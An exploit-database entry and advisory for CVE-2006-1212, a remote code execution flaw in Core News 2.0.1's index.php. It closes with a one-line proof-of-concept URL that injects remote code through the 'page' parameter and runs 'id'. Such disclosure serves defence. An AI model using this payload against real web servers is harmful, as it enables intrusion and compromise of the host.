Core News 2.0.1 - 'index.php' Remote Code Execution

Author: botan
type: webapps
platform: php
port: 0
date_added: 2006-03-10
date_updated: 2013-08-07
verified: 1
codes: CVE-2006-1212;OSVDB-24080
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aliases: 
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application_url: 

source: https://www.securityfocus.com/bid/17067/info

Core News is prone to a code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Core News version 2.0.1. is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=evilcode?&cmd=id